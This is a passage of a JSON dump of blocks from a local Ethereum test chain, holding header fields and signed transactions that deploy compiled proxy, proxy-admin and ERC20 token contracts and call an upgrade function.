069ff218447d24170f7724fdfef9","transactionsRoot":"0xda4b97ccde95448dce077180642c29d61e762aea1dcc332c06896a5df8c6ec5a","receiptsRoot":"0x182a2e9742b3ef9ef4ac4b474099ae47a76c21a6f5d697c603b80bdd3cd74782","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001000000000000000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000008000000000","difficulty":"0x0","number":"0x1","gasLimit":"0x1c9c380","gasUsed":"0x6be89","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x3b9aca00","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x21","gas":"0x8c3ea","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405234801561001057600080fd5b5061001a3361001f565b61006f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6106948061007e6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105e2565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c990869086906004016105ff565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff8082111561055957600080fd5b818601915086601f83011261056d57600080fd5b81358181111561057f5761057f6104f6565b604051601f8201601f19908116603f011681019083821181831017156105a7576105a76104f6565b816040528281528960208487010111156105c057600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b6000602082840312156105f457600080fd5b81516104b681610484565b60018060a01b03831681526000602060406020840152835180604085015260005b8181101561063c57858101830151858201606001528201610620565b506000606082860101526060601f19601f83011685010192505050939250505056fea26469706673582212204991d74046566cb91b8d4cf7495532eedcea4124e157cfebcba924ceb7fba96464736f6c63430008180033","r":"0x93e9feb25a043dd56be95c4aaa862f8c39f632c1b88ec096725903cfd6687799","s":"0x4ce0ff0989724862832bffc885ae8b412a2921ea11b848c48d04d4698e078c2e","yParity":"0x0","hash":"0xa3ad69458743fe5b53a01650375595a9d2b5aa966e76a95084434d006819eaa7"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x20dac8ce6ff6030c493e90db584bd20e205390e353be7d2283c605eb56c7db60","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x575ac5ce24e17780d37c2d1b5483900e9459be57223ab6e57b67fd4c944de799","transactionsRoot":"0xe7287078f76874d559b7b8ca26afe53cbbb90dd58ac6c55b5ce262f4a75d35e9","receiptsRoot":"0x2c31d1c17171e678568e50788534dc3b735ab83e7e9193482c56fe98c00881ea","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x18","gasLimit":"0x1c9c380","gasUsed":"0x52a9c","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x3b33814","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x1b","gas":"0x6b6f4","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b506105298061001f6000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122000060ee7d13b3da20ea88c1a32f5ce15f717474f00274010613f0e6e91a6871b64736f6c634300081b0033","r":"0x35f8f82d1dbb21999710afb8af8f8deeea04b37c6d15e35dd44f8afc6ce17e47","s":"0x501d48a482624c5e6476a5f183a612298471da9fba3927d05083a56942d8a42d","yParity":"0x0","hash":"0x949a75614012f11102be7d2731c731cfcc2da208567d936c4d7ffc78d5bcdb88"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x2ca21a5b8e4017178a119d3ee54f86f95ccfdefe5a44c502fc75f5e13245f25c","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x50b266f8a09e882ce6fbb38da3698d2bf8d795ee00f21d63d7217f6a956bd392","transactionsRoot":"0x8eab2739f463a04d6589fe105eca6240c70161d6053994f308be4d5ee43322f7","receiptsRoot":"0xd7eeaa393ea7ccc1fb6ff1a03a97e780ca723b43714f99061c7ca94e899131e7","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000010000000100000000000000000000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800001004000000000000000000000000400000000100000000000000000000000000000000000080004000000000000000002000000000000000000000008400000000000000000000000000000000000000000020400000200000000000040000040000002008000001000000000020000000000000000001000000000000000000000000000000020000000000400000","difficulty":"0x0","number":"0x16","gasLimit":"0x1c9c380","gasUsed":"0x229f4","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x4c0c684","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x19","gas":"0x2fd25","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","accessList":[],"input":"0x9623609d0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc31800000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000","r":"0x8e742eeb3501951f3637ef8abf577c12b775568e211ef0dfbe56d2fb89698a02","s":"0x1a316d4767931d39813d98ddcf17a38c0889b59f73dd964d86c784d658734b48","yParity":"0x0","hash":"0xa1e0398c2dde583fe8c57690419d4f2ec2dee733e02fd823bd1dd6bdb141f9db"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xc0a1e423681d43bb6a6f65f74cea24f4c5d4656f0e46461bd3cfed1c0551d972","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x2c7adf6d0b796e059df7d5205a6378c6765e97e2a7f43f0627fca3d8e22bb5ab","transactionsRoot":"0xa61c16f21466af5268b887911633b68f9d3b3d43ee703d87d248a046d900f038","receiptsRoot":"0xb43c408803cf6e0c5788f25f8d6b6519f32fe436d5e8f55a6636e76d90f77df9","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000001000000000000000000000000002000000000240000000000000000000400000000000000000000000000000000000000000800000000000000000000000040000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000400000000000001000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x5","gasLimit":"0x1c9c380","gasUsed":"0x117e5c","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x239c61a6","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x5","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xcbacd798027928523310281f756e3f6b5f84bdedb1f23e522b00b07a6caa4eb6","s":"0x281cff83303d71db9bd15c11bbbd9f95b039aa8137547b9396b88093deca7de3","yParity":"0x1","hash":"0xd7564065b111aaeb506f2b929d325592e1ef78a940ddfe00870c64ed2ce7d117"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x6","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xc349091145a36bb4351f2ee7549290b8a8afe269e8759fc595ad871a9def5e7e","s":"0x6d1a7bd4c99afb219bb3425c42b6b05d6a7f815de613137cc8ec0730610c0df3","yParity":"0x1","hash":"0xd37d821613f3296bf7b88e5f2da62d3722dede33334e56330285fb4a592ab75d"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x700953b012a0102f730dca1d6e78b94cb91ba2325a68b64866311a4607619edb","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x0e336c50caf8b57455faf33ce1a20ee1968926781f2f7cd415030bdeb05fe05b","transactionsRoot":"0x32d9106d717210e3a2e37e51cf1ea6bfd8208393d6c2501a60ea89ad66d018a6","receiptsRoot":"0xfe2411014a0ab6a828e99e5c34f33c8c7ed50b6427ed7875ae91175383dab80c","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0xd","gasLimit":"0x1c9c380","gasUsed":"0xcf616","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xee8f591","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x10","gas":"0x10d845","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b50604051610ee6380380610ee6833981016040819052602c916049565b5050607e565b6001600160a01b0381168114604657600080fd5b50565b60008060408385031215605b57600080fd5b82516064816032565b60208401519092506073816032565b809150509250929050565b610e598061008d6000396000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba14610